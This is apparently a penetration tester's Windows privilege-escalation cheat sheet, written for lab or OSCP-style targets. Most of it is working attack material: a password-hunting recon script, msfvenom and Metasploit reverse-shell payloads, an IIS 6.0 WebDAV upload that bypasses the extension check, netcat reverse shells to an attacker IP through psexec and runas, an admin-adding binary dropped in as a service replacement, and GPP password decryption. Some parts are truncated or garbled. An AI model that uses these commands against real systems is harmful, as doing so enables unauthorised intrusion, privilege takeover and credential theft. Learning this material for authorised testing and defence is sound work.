Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html
Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group:
`whoami`
`net user "%username%"`
Try the getsystem command using meterpreter - rarely works but is worth a try.
meterpreter > getsystem
No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial and windows_privesc_check.py).
Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report:
@echo --------- BASIC WINDOWS RECON --------- > report.txt timeout 1 net config Workstation >> report.txt timeout 1 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txt timeout 1 hostname >> report.txt timeout 1 net users >> report.txt timeout 1 ipconfig /all >> report.txt timeout 1 route print >> report.txt timeout 1 arp -A >> report.txt timeout 1 netstat -ano >> report.txt timeout 1 netsh firewall show state >> report.txt timeout 1 netsh firewall show config >> report.txt timeout 1 schtasks /query /fo LIST /v >> report.txt timeout 1 tasklist /SVC >> report.txt timeout 1 net start >> report.txt timeout 1 DRIVERQUERY >> report.txt timeout 1 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt timeout 1 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt timeout 1 dir /s pass == cred == vnc == .config >> report.txt timeout 1 findstr /si password *.xml *.ini *.txt >> report.txt timeout 1 reg query HKLM /f password /t REG_SZ /s >> report.txt timeout 1 reg query HKCU /f password /t REG_SZ /s >> report.txt timeout 1 dir "C:" timeout 1 dir "C:\Program Files" >> report.txt timeout 1 dir "C:\Program Files (x86)" timeout 1 dir "C:\Users" timeout 1 dir "C:\Users\Public" timeout 1 echo REPORT COMPLETE!
Windows Server 2003 and IIS 6.0 WEBDAV Exploiting http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt
cadavar http://$ip
dav:/> put aspshell.txt
Uploading aspshell.txt to /aspshell.txt': Progress: [=============================>] 100.0% of 38468 bytes succeeded. dav:/> copy aspshell.txt aspshell3.asp;.txt Copying /aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded.
dav:/> exit
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 1.2.3.4 msf exploit(handler) > set LPORT 80 msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j
curl http://$ip/aspshell3.asp;.txt
[] Started reverse TCP handler on 1.2.3.4:443 [] Starting the payload handler... [] Sending stage (957487 bytes) to 1.2.3.5 [] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700
Compile Windows privledge escalation exploits using pyinstaller.py into an executable Windows privledge escalation exploits are often written in Python. So, it is necessary to compile them using pyinstaller.py into an executable and upload them to the remote server. pip install pyinstaller wget -O exploit.py http://www.exploit-db.com/download/31853 python pyinstaller.py --onefile exploit.py
Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:
https://www.exploit-db.com/exploits/6705/
https://github.com/Re4son/Churrasco
c:\Inetpub>churrasco churrasco /churrasco/-->Usage: Churrasco.exe [-d] "command to run"
c:\Inetpub>churrasco -d "net user /add
Windows MS11-080 - http://www.exploit-db.com/exploits/18176/ python pyinstaller.py --onefile ms11-080.py mx11-080.exe -O XP
Powershell Exploits You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:
MS16-032 https://www.exploit-db.com/exploits/39719/
powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"
Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
Windows Run As
Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.
Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).
C:>psexec64 \COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
PsExec v2.2 - Execute processes remotely opyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com
Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe: C:>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe" Enter the password for Test: Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.
$username = '
Next run this script using powershell.exe:
`powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"`
Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user. icacls scsiaccess.exe
scsiaccess.exe NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) Everyone:(I)(F)
Compile a custom add user command in windows using C root@kali:~# cat useradd.c #include /* system, NULL, EXIT_FAILURE */ int main () { int i; i=system ("net localgroup administrators low /add"); return 0; }
`i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c`
Group Policy Preferences (GPP) A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files
map the Domain controller SYSVOL share
net use z:\\dc01\SYSVOL
Find the GPP file: Groups.xml
dir /s Groups.xml
Review the contents for passwords
type Groups.xml
Decrypt using GPP Decrypt
gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
Find and display the proof.txt or flag.txt - get the loot!
#meterpreter > run post/windows/gather/win_privs
cd\ & dir /b /s proof.txt
type c:\pathto\proof.txt
Other Useful links Fuzzy Security - Windows Privilege Escalation GDSSecurity - Windows Exploit Suggester Xapax - Privilege Escalation bhafsec - Windows Privilege Escalatio